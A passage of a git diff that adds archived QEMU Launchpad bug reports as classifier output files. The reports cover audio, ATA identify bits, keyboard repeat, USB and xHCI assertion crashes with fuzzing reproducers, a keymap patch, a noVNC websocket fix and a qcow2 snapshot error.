QEMU_AUDIO_DRV=pa +#QEMU_ALSA_DAC_BUFFER_SIZE=512 QEMU_ALSA_DAC_PERIOD_SIZE=170 +#export QEMU_PA_SAMPLES=8192 +#export QEMU_AUDIO_TIMER_PERIOD=99 +#export QEMU_PA_SERVER=/run/user/1000/pulse/native +#export QEMU_PA_SINK=alsa_output.usb-C-Media_Electronics_Inc._USB_Audio_Device-00.analog-stereo +#export QEMU_PA_SOURCE=input + +-audiodev pa,id=pa1,server=server=/run/user/1000/pulse/native + +At best I have removed an XDG_RUNTIME_DIR error but other than that this build has no audio compatability. + +EDIT: This is for Arch 2020.02.01 + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1896342 b/results/classifier/deepseek-1/output/peripherals/1896342 new file mode 100644 index 00000000..0cb1d053 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1896342 @@ -0,0 +1,84 @@ + +IDE ATA IDENTIFY WORD 106 + +The code at line 202 in hw/ide/core.c + (https://git.qemu.org/?p=qemu.git;a=blob;f=hw/ide/core.c;#l201) +hard codes bit 13 set. However, get_physical_block_exp() can and may return 0, which is a valid response. If get_physical_block_exp() does return zero, bit 13 should not be set. + +ATAPI8 states (Section 7.17.7.73): + "Bit 13 of word 106 shall be set to one to indicate that the device has more than one logical sector per physical sector" + +and gives the examples: + Bits (3:0): 0 = 2^0 = 1 logical sector per physical sector + Bits (3:0): 1 = 2^1 = 2 logical sector per physical sector + Bits (3:0): 2 = 2^2 = 4 logical sector per physical sector + Bits (3:0): 3 = 2^3 = 8 logical sector per physical sector + +Therefore, if bit 13 is set, bits 3:0 must be greater than zero. + +If get_physical_block_exp() returns zero then there is a 1:1 ratio and bit 13 must be 0. + +Just my opinion. + +Thanks, +Ben + +For more information, Annex-E of the ACS-2 explains this as well. + +http://www.t13.org/Documents/UploadedDocuments/docs2009/d2015r2-ATAATAPI_Command_set_-_2_ACS-2.pdf + +See the statement on the top of page 165 as well. "If bit 13 is set, then bits 3:0 are valid". + +Page 119 of that same document states: + "13 1 = Device has multiple logical sectors per physical sector." + +In my opinion, if bit 13 is set and bits 3:0 are valid, then bits 3:0 should be non-zero. + +Therefore, I gather that in QEMU (assuming that get_physical_block_exp() returns the same value shown in the example listing above): + +1) if get_physical_block_exp() return a non-zero value, bit 13 must be set and bits 3:0 will be non-zero. +2) if get_physical_block_exp() return a zero value, bit 13 must be clear and bits 3:0 must be ignored. + +Please correct me if I am wrong in these assumptions. + +Thanks, +Ben + +You might be right, though at present it seems like it doesn't hurt anything that I am aware of to claim that our mapping is 1:1 in such cases. + +Patches welcome; especially if there is any proof that this has caused any problems anywhere. + +--js + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/peripherals/1897568 b/results/classifier/deepseek-1/output/peripherals/1897568 new file mode 100644 index 00000000..5c506c01 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1897568 @@ -0,0 +1,74 @@ + +Strange keyboard behaviour in Vim editor + + +I'm running MS-DOS 7.10 in a QEMU virtual machine, and there is a problem with the keyboard in the Vim editor. The arrow keys jump over a line, as if you had typed the key twice. PgUp and PgDn are likewise affected. Other applications are not affected, unless you shell out from Vim. + +The QEMU version is 5.0.0, and I'm using the "-k sv" option, but I've tried without it and it doesn't make a difference. + +I don't get this keyboard behaviour in the exact same VM under VMware Player or Bochs. + +-Albert. + +Possible fix: +https://<email address hidden>/msg804823.html + +The patch mentioned by Philippe has now been merged to the QEMU master branch (commit d1e45668d2128b064). Albert, could you maybe check the current git version to see whether this problem has been fixed now (using "-global i8042.kbd-throttle=on" to enable this new feature)? + +Hi, + +thanks for letting me know. + +I do plan to test this and report back, but that may take some time, as I +would first have to compile and install a new version of QEMU. + +-aw + +On Thu, 27 May 2021 at 05:10, Thomas Huth <email address hidden> +wrote: + +> The patch mentioned by Philippe has now been merged to the QEMU master +> branch (commit d1e45668d2128b064). Albert, could you maybe check the +> current git version to see whether this problem has been fixed now +> (using "-global i8042.kbd-throttle=on" to enable this new feature)? +> +> ** Changed in: qemu +> Status: In Progress => Fix Committed +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1897568 +> +> Title: +> Strange keyboard behaviour in Vim editor +> +> Status in QEMU: +> Fix Committed +> +> Bug description: +> +> I'm running MS-DOS 7.10 in a QEMU virtual machine, and there is a +> problem with the keyboard in the Vim editor. The arrow keys jump over a +> line, as if you had typed the key twice. PgUp and PgDn are likewise +> affected. Other applications are not affected, unless you shell out from +> Vim. +> +> The QEMU version is 5.0.0, and I'm using the "-k sv" option, but I've +> tried without it and it doesn't make a difference. +> +> I don't get this keyboard behaviour in the exact same VM under VMware +> Player or Bochs. +> +> -Albert. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1897568/+subscriptions +> + + +Can someone explain why the patch keeps the incorrect behaviour as the default? It’s silly. + +Felix, if you want to discuss the default behaviour, please get in touch with the author of the patch, since he might not read this bug tracker here. +Anyway, the patch has been released with QEMU 6.1, so I'm closing this ticket here now. + diff --git a/results/classifier/deepseek-1/output/peripherals/1907042 b/results/classifier/deepseek-1/output/peripherals/1907042 new file mode 100644 index 00000000..b6941b77 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1907042 @@ -0,0 +1,53 @@ + +assert issue locates in hw/usb/core.c:727: usb_ep_get: Assertion `pid == USB_TOKEN_IN || pid == USB_TOKEN_OUT' failed + +Hello, + +An assertion failure was found in hw/usb/core.c:727 in latest version 5.2.0. + +Reproduced environment is as follows: + Host: ubuntu 18.04 + Guest: ubuntu 18.04 + +QEMU boot command line: +qemu-system-x86_64 -enable-kvm -boot c -m 4G -drive format=qcow2,file=./ubuntu.img -nic user,hostfwd=tcp:0.0.0.0:5555-:22 -device pci-ohci,id=ohci -device usb-tablet,bus=ohci.0,port=1,id=usbdev1 -trace usb\* + +Backtrace is as follows: +#0 0x00007f13fff14438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 +#1 0x00007f13fff1603a in __GI_abort () at abort.c:89 +#2 0x00007f13fff0cbe7 in __assert_fail_base (fmt=<optimized out>, assertion=assertion@entry=0x55f97745ffe0 "pid == USB_TOKEN_IN || pid == USB_TOKEN_OUT", file=file@entry=0x55f97745f6c0 "../hw/usb/core.c", line=line@entry=727, function=function@entry=0x55f9774606e0 <__PRETTY_FUNCTION__.22877> "usb_ep_get") at assert.c:92 +#3 0x00007f13fff0cc92 in __GI___assert_fail (assertion=0x55f97745ffe0 "pid == USB_TOKEN_IN || pid == USB_TOKEN_OUT", file=0x55f97745f6c0 "../hw/usb/core.c", line=727, function=0x55f9774606e0 <__PRETTY_FUNCTION__.22877> "usb_ep_get") at assert.c:101 +#4 0x000055f975bfc9b2 in usb_ep_get (dev=0x62300000c500, pid=45, ep=1) at ../hw/usb/core.c:727 +#5 0x000055f975f945db in ohci_service_td (ohci=0x6270000191f0, ed=0x7ffcd9308410) at ../hw/usb/hcd-ohci.c:1044 +#6 0x000055f975f95d5e in ohci_service_ed_list (ohci=0x6270000191f0, head=857580576, completion=0) at ../hw/usb/hcd-ohci.c:1200 +#7 0x000055f975f9656d in ohci_process_lists (ohci=0x6270000191f0, completion=0) at ../hw/usb/hcd-ohci.c:1238 +#8 0x000055f975f9725c in ohci_frame_boundary (opaque=0x6270000191f0) at ../hw/usb/hcd-ohci.c:1281 +#9 0x000055f977212494 in timerlist_run_timers (timer_list=0x60b00005b060) at ../util/qemu-timer.c:574 +#10 0x000055f9772126db in qemu_clock_run_timers (type=QEMU_CLOCK_VIRTUAL) at ../util/qemu-timer.c:588 +#11 0x000055f977212fde in qemu_clock_run_all_timers () at ../util/qemu-timer.c:670 +#12 0x000055f9772d5717 in main_loop_wait (nonblocking=0) at ../util/main-loop.c:531 +#13 0x000055f97695100c in qemu_main_loop () at ../softmmu/vl.c:1677 +#14 0x000055f9758f7601 in main (argc=16, argv=0x7ffcd9308888, envp=0x7ffcd9308910) at ../softmmu/main.c:50 +#15 0x00007f13ffeff840 in __libc_start_main (main=0x55f9758f75b0 <main>, argc=16, argv=0x7ffcd9308888, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffcd9308878) at ../csu/libc-start.c:291 +#16 0x000055f9758f74a9 in _start () + + +The poc is attached. + +Thanks. + + + +I trigger the usb_ep_get assertion as well, but I think is't not a bug.(I use the ehci) +Maybe the logic is the function return ep_ctl whith USB_TOKEN_SETUP and ep==0.Otherwise, will goto the next. + +This looks like a dupe of https://bugs.launchpad.net/qemu/+bug/1525123/ , though through OHCI rather than XHCI + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/303 + + diff --git a/results/classifier/deepseek-1/output/peripherals/1909261 b/results/classifier/deepseek-1/output/peripherals/1909261 new file mode 100644 index 00000000..ecbe4265 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1909261 @@ -0,0 +1,61 @@ + +[OSS-Fuzz] Issue 28929 xhci: ASSERT: xfer->packet.status != USB_RET_NAK + +=== Reproducer === + +./qemu-system-i386 -m 512M -machine q35,accel=qtest \ + -drive file=null-co://,if=none,format=raw,id=disk0 \ +-device qemu-xhci,id=xhci -device usb-tablet,bus=xhci.0 \ +-device usb-bot -device usb-storage,drive=disk0 \ +-chardev null,id=cd0 -chardev null,id=cd1 \ +-device usb-braille,chardev=cd0 -device usb-ccid \ +-device usb-ccid -device usb-kbd -device usb-mouse \ +-device usb-serial,chardev=cd1 -device usb-tablet \ +-device usb-wacom-tablet -device usb-audio \ +-qtest stdio -nographic -nodefaults < attachment + +=== Stack Trace === +#0 raise +#1 abort +#2 libc.so.6 +#3 __assert_fail +#4 xhci_kick_epctx /src/qemu/hw/usb/hcd-xhci.c:1865:13 +#5 xhci_ep_kick_timer /src/qemu/hw/usb/hcd-xhci.c:1034:5 +#6 timerlist_run_timers /src/qemu/util/qemu-timer.c:574:9 +#7 qemu_clock_run_timers /src/qemu/util/qemu-timer.c:588:12 +#8 qtest_clock_warp /src/qemu/softmmu/qtest.c:356:9 +#9 qtest_process_command /src/qemu/softmmu/qtest.c:752:9 +#10 qtest_process_inbuf /src/qemu/softmmu/qtest.c:797:9 +#11 qtest_server_inproc_recv /src/qemu/softmmu/qtest.c:904:9 +#12 send_wrapper /src/qemu/tests/qtest/libqtest.c:1390:5 +#13 qtest_sendf /src/qemu/tests/qtest/libqtest.c:438:5 +#14 qtest_clock_step_next /src/qemu/tests/qtest/libqtest.c:912:5 +#15 op_clock_step /src/qemu/tests/qtest/fuzz/generic_fuzz.c:574:5 + +OSS-Fuzz Report: +https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=28929 + + + +Full reproducer: +./qemu-system-i386 -m 512M -machine q35,accel=qtest \ + -drive file=null-co://,if=none,format=raw,id=disk0 \ +-device qemu-xhci,id=xhci -device usb-tablet,bus=xhci.0 \ +-device usb-bot -device usb-storage,drive=disk0 \ +-chardev null,id=cd0 -chardev null,id=cd1 \ +-device usb-braille,chardev=cd0 -device usb-ccid \ +-device usb-ccid -device usb-kbd -device usb-mouse \ +-device usb-serial,chardev=cd1 -device usb-tablet \ +-device usb-wacom-tablet -device usb-audio \ +-qtest stdio -nographic -nodefaults < full_reproducer + +Still reproducible with the current qemu version from git (commit 7fe7fae8b48e3f9c647fd685) + +I moved this report over to QEMU's new bug tracker on gitlab.com. +Please continue with the discussion here: + +https://gitlab.com/qemu-project/qemu/-/issues/544 + +Thanks for moving it over! ... let's close this one here on Launchpad now. + + diff --git a/results/classifier/deepseek-1/output/peripherals/1913341 b/results/classifier/deepseek-1/output/peripherals/1913341 new file mode 100644 index 00000000..4d1f3086 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1913341 @@ -0,0 +1,28 @@ + +Chardev behavior breaks polling based devices + +Currently in latest QEMU (9cd69f1a270235b652766f00b94114f48a2d603f at this time) the behavior of chardev sources is that when processed (before IO polling occurs), the chardev source will check the amount of space for reading. + +If it reports more than 0 bytes available to accept the read and a callback is not set, the code will set a child source connected to the QIOChannel submitted to the original source. If there's no buffer space reported, it will check for an active source, if registered it will detach this source. + +Next time the loop fires, if the buffer now reports space (most likely the guest has run, emptying some bytes from the buffer), it will setup the callback again. + +However, if we have a stupid simple device (or driver) that doesn't have buffers big enough to fit an available write when one is sent (say a single byte buffer, polled serial port), then the poll will be set, the poll will occur and return quickly, then the callback will (depending on the backend chardev used) most likely read the 1 byte it has space for from the source, push it over to the frontend hardware side, and the IO loop will run again. + +Most likely the guest will not clear this byte before the next io loop cycle, meaning that the next prepare call on the source will see a full buffer in the guest and remove the poll for the data source, to allow the guest time to run to clear the buffer. Except, without a poll or a timeout set, the io loop might now block forever, since there's no report from the guest after clearing that buffer. This only returns in a sane amount of time because often some other device/timer is scheduled which sets a timeout on the poll to a reasonable time. + +I don't have a simple submittable bit of code to replicate at the moment but connecting a serial port to a pty then writing a large amount of data, while a guest that doesn't enable the fifo spins on an rx ready register, you can observe that RX on the guest takes anywhere from 1s to forever per byte. + +This logic all occurs in chardev/char-io.c + +Fixing this can be as simple as removing the logic to detach the child event source and changing the attach logic to only occur if there's buffer space and the poll isn't already setup. That fix could cause flow control issues potentially if the io runs on the same thread as the emulated guest (I am not sure about the details of this) and the guest is in a tight loop doing the poll. I don't see that as happening but the logic might be there for a reason. + +Another option is to set a timeout when the source gets removed, forcing the poll to exit with a fixed delay, this delay could potentially be derived from something like the baud rate set, forcing a minimum time before forward progress. + +If removing the logic isn't an option, another solution is to make the emulated hardware code itself kick the IO loop and trigger it to reschedule the poll. Similar to how the non-blocking write logic works, the read logic could recognize when the buffer has been emptied and reschedule the hw on the guest. In theory this sounds nice, but for it to work would require adding logic to all the emulated chardev frontends and in reality would likely be going through the effort to remove the callback only to within a few nanoseconds potentially want to add it back. + +I'm planning to submit a patch with just outright removing the logic, but am filing this bug as a place to reference since tracking down this problem is non-obvious. + +commit f2c0fb93a44972a96f93510311c93ff4c2c6fab5 + + diff --git a/results/classifier/deepseek-1/output/peripherals/1947933 b/results/classifier/deepseek-1/output/peripherals/1947933 new file mode 100644 index 00000000..11680d68 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/1947933 @@ -0,0 +1,20 @@ + +xHCI Port Status Change Event at port powered + +Per section 4.19.3 of the xHCI version 1.0 specification, when the Port Power bit transitions from 0 to 1, if there is a connection on that port, a Port Status Change Event should be issued. + +Currently, when the port is powered, this event is not being issued. + +I don't know the QEMU code base well enough to submit a patch, but I believe that when the port is powered, check to see if there is a connection (hence, setting the CCS and CSC bits), and then a call to: + +xhci_port_notify(port, PORTSC_PLC); + +will suffice. + +Thank you, +Ben + +This bug tracker is not used anymore. Please open new tickets here: + +https://gitlab.com/qemu-project/qemu/-/issues + diff --git a/results/classifier/deepseek-1/output/peripherals/533613 b/results/classifier/deepseek-1/output/peripherals/533613 new file mode 100644 index 00000000..6db733f9 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/533613 @@ -0,0 +1,67 @@ + +fr-ca keymap is wrong + +The fr-ca keymap has tons of wrong keys in it, it affects other projects using Qemu/KVM like Xen. +Documentation about how to make a keymap is too vague to allow me to make something useful to send a patch, I was however able to make something which at least allows me to use important keys like dot and slash, I will attach it for reference. + + + +Cc: <email address hidden> +Cc: Thomas Huth <email address hidden> +Suggested-by: Jérôme Poulin +Signed-off-by: Gerd Hoffmann <email address hidden> +--- + pc-bios/keymaps/fr-ca | 14 +++++++++++--- + 1 file changed, 11 insertions(+), 3 deletions(-) + +diff --git a/pc-bios/keymaps/fr-ca b/pc-bios/keymaps/fr-ca +index 030f56a78e..2e540d596c 100644 +--- a/pc-bios/keymaps/fr-ca ++++ b/pc-bios/keymaps/fr-ca +@@ -3,6 +3,8 @@ + include common + map 0xc0c + ++numbersign 0x29 ++bar 0x29 + backslash 0x29 altgr + plusminus 0x2 altgr + at 0x3 altgr +@@ -10,7 +12,6 @@ sterling 0x4 altgr + cent 0x5 altgr + currency 0x6 altgr + notsign 0x7 altgr +-bar 0x29 shift + twosuperior 0x9 altgr + threesuperior 0xa altgr + onequarter 0xb altgr +@@ -38,6 +39,10 @@ dead_cedilla 0x1b + dead_diaeresis 0x1b shift + exclam 0x2 shift + quotedbl 0x3 shift ++comma 0x33 ++apostrophe 0x33 shift ++period 0x34 ++period 0x34 shift + slash 0x4 shift + dollar 0x5 shift + percent 0x6 shift +@@ -48,5 +53,8 @@ parenleft 0xa shift + parenright 0xb shift + underscore 0xc shift + plus 0xd shift +-minus 0xc +-equal 0xd ++minus 0x0c ++underscore 0x0c shift ++equal 0x0d ++semicolon 0x27 ++colon 0x27 shift +-- +2.9.3 + + + +Patch has finally been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=b02cf99b9d998b3ec23dae8 + diff --git a/results/classifier/deepseek-1/output/peripherals/584155 b/results/classifier/deepseek-1/output/peripherals/584155 new file mode 100644 index 00000000..060e888c --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/584155 @@ -0,0 +1,14 @@ + +support horisontal mouse wheel + +Brad Jorsch provided a series of patches to support horisontal mouse scrolling in qemu-emulated mouse. +See Debian bug#579968 -- http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=579968 and submission to qemu-devel list at http://<email address hidden>/msg30991.html . + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/79 + + diff --git a/results/classifier/deepseek-1/output/peripherals/757654 b/results/classifier/deepseek-1/output/peripherals/757654 new file mode 100644 index 00000000..97c56df4 --- /dev/null +++ b/results/classifier/deepseek-1/output/peripherals/757654 @@ -0,0 +1,50 @@ + +UHCI fails to signal stall response + +When TD execution results in STALL error (STALL handshake, no stall as a result of err count reaching 0), there is no way to know about it except for checking that TD. IMO it is an error condition and it should be reflected in the status register (and issue an interrupt if enabled). + +Ways to replicate: +Send a query that is answered by stall (like set_idle request to a mouse) + +Expected behavior: +UHCI hc sets status bit 1 (usb error interrupt) and issues an interrupt + +current behavior: +Neither status bit is set nor interrupt triggered + +Version 0.14 +attached patch for current master (quick fix, it might be I got something wrong) + + + +Hi, + +Thanks for reporting this issue. + +Just so you are aware: the qemu USB maintainer is probably going to be away for a while longer, so don't be too worried if this patch doesn't get looked at for 2-4 weeks. + +Brad + + +No problem, it's not like it breaks something. This fix just makes driver development easier. + +On Thu, Apr 14, 2011 at 11:35 AM, jvesely <email address hidden> wrote: +> No problem, it's not like it breaks something. This fix just makes +> driver development easier. + +Please send your patch to the mailing list: + +http://wiki.qemu.org/Contribute/SubmitAPatch + +It may seem petty to ask this since you've already attached it to the +bug, but for QEMU development to scale and keep at a rapid pace, +everyone needs to follow these steps on submitting patches. Thanks +for your effort! + +Stefan + + +Patch had been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=8656954aedbd9995e68e +... so closing this ticket now. + diff --git a/results/classifier/deepseek-1/output/permissions/1548471 b/results/classifier/deepseek-1/output/permissions/1548471 new file mode 100644 index 00000000..73de73af --- /dev/null +++ b/results/classifier/deepseek-1/output/permissions/1548471 @@ -0,0 +1,13 @@ + +Lost of log file during block migration + + Hello, i've discovered that during live block migration +log file is copied(or created on destination) but it actually empty. +When regular(cold) migration is called log file migrates successfully. +I'm working on nova project in openstack and i've tried to fix it by adding +simple scp from source to destination, but log file is owned by libvirt-qemu user +and i cannot do that from regular user created by openstack. +Could explain how can i migrate logs safely? + +Please discuss this with the libvirt community. The /var/log/libvirt/qemu/<domain>.log files are managed by libvirt and not QEMU. + diff --git a/results/classifier/deepseek-1/output/planned./1849644 b/results/classifier/deepseek-1/output/planned./1849644 new file mode 100644 index 00000000..0fa27753 --- /dev/null +++ b/results/classifier/deepseek-1/output/planned./1849644 @@ -0,0 +1,173 @@ + +QEMU VNC websocket proxy requires non-standard 'binary' subprotocol + +When running a machine using "-vnc" and the "websocket" option QEMU seems to require the subprotocol called 'binary'. This subprotocol does not exist in the WebSocket specification. In fact it has never existed in the spec, in one of the very early drafts of WebSockets it was briefly mentioned but it never made it to a final version. + +When the WebSocket server requires a non-standard subprotocol any WebSocket client that works correctly won't be able to connect. + +One example of such a client is noVNC, it tells the server that it doesn't want to use any subprotocol. QEMU's WebSocket proxy doesn't let noVNC connect. If noVNC is modified to ask for 'binary' it will work, this is, however, incorrect behavior. + +Looking at the code in "io/channel-websock.c" it seems it's quite hard-coded to binary: + +Look at line 58 and 433 here: https://git.qemu.org/?p=qemu.git;a=blob;f=io/channel-websock.c + +This code has to be made more dynamic, and shouldn't require binary. + +It isn't mandatory to use a standardized subprotocol, all that's required is that the client & server agree + + https://developer.mozilla.org/en-US/docs/Web/HTTP/Protocol_upgrade_mechanism + + "The subprotocols may be selected from the IANA WebSocket Subprotocol Name Registry or may be a custom name jointly understood by the client and the server." + +QEMU used/required 'binary' because that is what noVNC used when the QEMU websockets code was first implemented. + +It appears that noVNC was changed though to not send a "binary" subprotocol in + + commit f8318361b1b62c4d76b091132d4a8ccfdd2957e4 + Author: Pierre Ossman <email address hidden> + Date: Sat Oct 14 12:45:56 2017 +0200 + + Remove wsProtocols setting + + It isn't in use anymore since we deprecated support for Base64 mode. + +From QEMU's POV looks like we'll need to tweak code to treat 'binary' and no sub-protocol as being equivalent. + + +Thank you for your response, Daniel! + +Do you think this is something you will have the opportunity to look at soon? + +I have sent a patch about this problem. + +Please see https://lists.nongnu.org/archive/html/qemu-devel/2019-11/msg03924.html + + + +Did anyone at QEMU get a chance to look at that patch? + +Hi, Samuel + +This patch has been viewed by Daniel. +Please see https://lists.nongnu.org/archive/html/qemu-devel/2019-12/msg00264.html + +However, Daniel has not sent a PR which includes this patch. + +Thanks. + +Ok, thanks! + +Fixed here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=c64e1e75381d + + +This is in v5.0.0 so fixed in Groovy. +The related noVNC change is in upstream version >=v1.0.0 which correlates with Ubuntu >=20.04, threfore fixing this in Focals Qemu seems good. + +Repro steps: +$ sudo apt install qemu-system-x86 novnc +/usr/share/novnc +python3 -m http.server + +Connect browser to http://<IP>:8000/vnc.html + Click "Settings" + Open "advanced" + Open "websocket" + Set port 5700 + Clear path + Click "Connect" + +And it works ... + +Turns out my former check on the offending noVNC commit was wrong. +There are +https://github.com/novnc/noVNC/commit/f8318361b1b62c4d76b091132d4a8ccfdd2957e4 (referenced on this bug before) +$ git tag --contains f8318361b1b62c4d76b091132d4a8ccfdd2957e4 +v1.0.0 +But only really gone later with: +https://github.com/novnc/noVNC/commit/c912230309806aacbae4295faf7ad6406da97617 +$ git tag --contains c912230309806aacbae4295faf7ad6406da97617 +v1.2.0 + +So the novnc of Focal isn't affected but anyone who uses a newer noVNC >=1.2 would be. +=> lower SRU priority +=> Modify above repro steps to not use noVNC from Focal via apt but use 1.2 from snaps + + +Repro steps: +$ snap install novnc +$ novnc --vnc localhost:5700 +Connect browser to http://<IP>:6080/vnc.html +Click "Connect" + +TODO: repro steps to be verified with a qemu that has the fix applied + +I can confirm the test steps mentioned above. In an unchanged scenario a formerly failing-to-connect case got working when replacing the qemu (on Focal) in use with a patched one. + +Adding an SRU Template for Focal to the bug description ... + +SRU Template for qemu added and MP linked to fix this in Ubuntu 20.04 + +Hello Samuel, or anyone else affected, + +Accepted qemu into focal-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/qemu/1:4.2-3ubuntu6.7 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed. Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, what testing has been performed on the package and change the tag from verification-needed-focal to verification-done-focal. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed-focal. In either case, without details of your testing we will not be able to proceed. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance for helping! + +N.B. The updated package will be released to -updates after the bug(s) fixed by this package have been verified and the package has been in -proposed for a minimum of 7 days. + +All autopkgtests for the newly accepted qemu (1:4.2-3ubuntu6.7) for focal have finished running. +The following regressions have been reported in tests triggered by the package: + +casper/1.445.1 (amd64) + + +Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. + +https://people.canonical.com/~ubuntu-archive/proposed-migration/focal/update_excuses.html#qemu + +[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions + +Thank you! + + +Trying to connect using +novnc latest/stable: 1.2.0 2020-07-31 (6) 18MB - + +as-is failing to connect +Keeping VNC up and refreshing qemu. + + +Updating to the new qemu from focal proposed (by now resolved the archive publishing issues we had before this morning). +Get:67 http://archive.ubuntu.com/ubuntu focal-proposed/main amd64 qemu-utils amd64 1:4.2-3ubuntu6.7 [975 kB] +Get:68 http://archive.ubuntu.com/ubuntu focal-proposed/main amd64 qemu-system-common amd64 1:4.2-3ubuntu6.7 [1056 kB] +Get:69 http://archive.ubuntu.com/ubuntu focal-proposed/main amd64 qemu-block-extra amd64 1:4.2-3ubuntu6.7 [53.8 kB] +Get:70 http://archive.ubuntu.com/ubuntu focal-proposed/main amd64 qemu-system-data all 1:4.2-3ubuntu6.7 [563 kB] +Get:71 http://archive.ubuntu.com/ubuntu focal-proposed/main amd64 qemu-kvm amd64 1:4.2-3ubuntu6.7 [13.1 kB] +Get:72 http://archive.ubuntu.com/ubuntu focal-proposed/main amd64 qemu-system-x86 amd64 1:4.2-3ubuntu6.7 [6720 kB] +Get:73 http://archive.ubuntu.com/ubuntu focal-proposed/main amd64 qemu-system-gui amd64 1:4.2-3ubuntu6.7 [40.8 kB] +Get:74 http://archive.ubuntu.com/ubuntu focal-proposed/main amd64 qemu-system-mips amd64 1:4.2-3ubuntu6.7 [12.9 MB] + + +Now the same novnc1.2 can connect to it \o/ +Setting verified + +This bug was fixed in the package qemu - 1:4.2-3ubuntu6.7 + +--------------- +qemu (1:4.2-3ubuntu6.7) focal; urgency=medium + + * d/p/ubuntu/lp-1882774-*: add newer EPYC processor types (LP: #1887490) + * d/p/u/lp-1896751-exec-rom_reset-Free-rom-data-during-inmigrate-skip.patch: + fix reboot after migration (LP: #1896751) + * d/p/u/lp-1849644-io-channel-websock-treat-binary-and-no-sub-protocol-.patch: + fix websocket compatibility with newer versions of noVNC (LP: #1849644) + + -- Christian Ehrhardt <email address hidden> Mon, 27 Jul 2020 11:45:26 +0200 + +The verification of the Stable Release Update for qemu has completed successfully and the package is now being released to -updates. Subsequently, the Ubuntu Stable Release Updates Team is being unsubscribed and will not receive messages about this bug report. In the event that you encounter a regression using the package from -updates please report a new bug using ubuntu-bug and tag the bug report regression-update so we can easily find any regressions. + diff --git a/results/classifier/deepseek-1/output/practices./1354167 b/results/classifier/deepseek-1/output/practices./1354167 new file mode 100644 index 00000000..d3512a77 --- /dev/null +++ b/results/classifier/deepseek-1/output/practices./1354167 @@ -0,0 +1,247 @@ + +On VM restart: Could not open 'poppy.qcow2': Could not read snapshots: File too large + +I'm unable to restart a VM. virt-manager is giving me: + +Error starting domain: internal error: process exited while connecting to monitor: qemu-system-x86_64: -drive file=/var/lib/libvirt/images/poppy.qcow2,if=none,id=drive-virtio-disk0,format=qcow2: could not open disk image /var/lib/libvirt/images/poppy.qcow2: Could not read snapshots: File too large + + +From the command line trying to check the image also gives me: +qemu-img check poppy.qcow2 +qemu-img: Could not open 'poppy.qcow2': Could not read snapshots: File too large + + +This bug appears with both the default install of qemu for ubuntu 14.04: +qemu-img version 2.0.0, Copyright (c) 2004-2008 Fabrice Bellard + +And the latest version. +qemu-img version 2.1.50, Copyright (c) 2004-2008 Fabrice Bellard + + +Host: +Dual E5-2650 v2 @ 2.60GHz +32GB Memory +4TB Disk space (2.1TB Free) + +Host OS: Ubuntu 14.04.1 LTS 64bit + +Guest: +Ubuntu 14.04 64bit +Storage Size: 500gb + +I too am getting his bug. + +Same error message Todd gets word for word. + +Even going to the command prompt yields the same issue. + +I have QEMU emulator version 2.0.0 (Debian 2.0.0+dfsg-2ubuntu1.2) + +Thank you + + +Just putting this up here for anyone unlucky enough to hit this. This isn't a fix but it may rescue your borked qcow2 image. + +Download and compile the 1.7.2 version of qemu but don't install it. For example 